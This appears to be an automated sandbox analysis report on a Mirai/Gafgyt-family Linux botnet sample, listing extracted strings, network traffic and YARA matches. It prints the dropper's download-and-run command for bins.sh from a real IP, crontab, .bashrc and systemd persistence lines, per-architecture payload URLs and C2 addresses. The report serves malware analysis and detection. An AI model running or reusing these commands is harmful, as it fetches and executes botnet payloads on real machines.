Source: armv6l.66.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv6l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetdt
Source: armv6l.66.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: armv6l.66.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: x86_64.138.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogx86_64->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd*
Source: x86_64.138.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: x86_64.138.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc
Source: mips.104.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogmips->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: mips.104.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: mips.104.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: i686.88.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi686->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: i686.88.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: i686.88.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc
Source: .bashrc.13.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: armv4l.54.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/wa....tchdogarmv4l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: armv4l.54.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: armv4l.54.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: powerpc.120.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogpowerpc->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: powerpc.120.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: powerpc.120.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: i586.82.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogi586->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: i586.82.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: i586.82.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc
Source: m68k.94.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogm68k->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: m68k.94.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: m68k.94.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrc
Source: bot.service.13.dr	String: ExecStart=/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: mipsel.114.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogmipsel->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd@
Source: mipsel.114.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: mipsel.114.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: armv5l.60.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogarmv5l->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd
Source: armv5l.60.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: armv5l.60.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: sparc.132.dr	String: /proc//exedvrHelper/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/stat /cmdline/wget/sh/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdog/sparc->unknown
Source: sparc.132.dr	String: /bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: sparc.132.dr	String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") \| crontab -/bin/bash -c "/bin/wget http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://217.156.66.6/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca

Source: global traffic

TCP traffic: 192.168.2.13:49940 -> 155.138.230.16:1290

Source: /usr/bin/sh (PID: 5472)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv4l	Jump to behavior
Source: /usr/bin/sh (PID: 5475)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv5l	Jump to behavior
Source: /usr/bin/sh (PID: 5482)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv6l	Jump to behavior
Source: /usr/bin/sh (PID: 5504)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/armv7l	Jump to behavior
Source: /usr/bin/sh (PID: 5509)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/i486	Jump to behavior
Source: /usr/bin/sh (PID: 5512)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/i586	Jump to behavior
Source: /usr/bin/sh (PID: 5518)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/i686	Jump to behavior
Source: /usr/bin/sh (PID: 5523)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/m68k	Jump to behavior
Source: /usr/bin/sh (PID: 5547)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/mips	Jump to behavior
Source: /usr/bin/sh (PID: 5554)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/mipsel	Jump to behavior
Source: /usr/bin/sh (PID: 5559)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/powerpc	Jump to behavior
Source: /usr/bin/sh (PID: 5564)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/sh4	Jump to behavior
Source: /usr/bin/sh (PID: 5567)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/sparc	Jump to behavior
Source: /usr/bin/sh (PID: 5572)	Wget executable: /usr/bin/wget -> wget http://217.156.66.6/bins/x86_64	Jump to behavior

Source: /tmp/sh4.elf (PID: 5399)

Socket: 127.0.0.1:4161

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.90.49

Source: global traffic	HTTP traffic detected: GET /bins/bins.sh HTTP/1.1Host: 217.156.66.6User-Agent: curl/7.68.0Accept: /
Source: global traffic	HTTP traffic detected: GET /bins/armv4l HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/armv5l HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/armv6l HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/armv7l HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/armv7l HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/i486 HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/i586 HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/i686 HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/m68k HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/mips HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/mipsel HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/powerpc HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/sh4 HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/sparc HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bins/x86_64 HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: /Accept-Encoding: identityHost: 217.156.66.6Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.znet.homes
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 31 Mar 2025 12:08:26 GMTServer: Apache/2.4.58 (Ubuntu)Content-Length: 274Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 37 2e 31 35 36 2e 36 36 2e 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Ubuntu) Server at 217.156.66.6 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 31 Mar 2025 12:08:27 GMTServer: Apache/2.4.58 (Ubuntu)Content-Length: 274Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 37 2e 31 35 36 2e 36 36 2e 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Ubuntu) Server at 217.156.66.6 Port 80</address></body></html>

Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/armv4l;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/armv5l;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/armv6l;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/armv7l;
Source: tmp.Eam4Sa.40.dr	String found in binary or memory: http://217.156.66.6/bins/bins.sh
Source: sparc.132.dr	String found in binary or memory: http://217.156.66.6/bins/bins.sh;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/i486;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/i586;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/i686;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/m68k;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/mips;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/mipsel;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/powerpc;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/sh4;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/sparc;
Source: bins.sh.47.dr	String found in binary or memory: http://217.156.66.6/bins/x86_64;

Source: unknown	Network traffic detected: HTTP traffic on port 36504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36504

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_268aac0b Author: unknown
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_0cb1699c Author: unknown
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_3a85a418 Author: unknown
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_2e3f67a9 Author: unknown
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: /tmp/i686, type: DROPPED	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_5bf62ce4 Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_fa3ad9d0 Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_5f7b67b8 Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: /tmp/i586, type: DROPPED	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: /tmp/x86_64, type: DROPPED	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
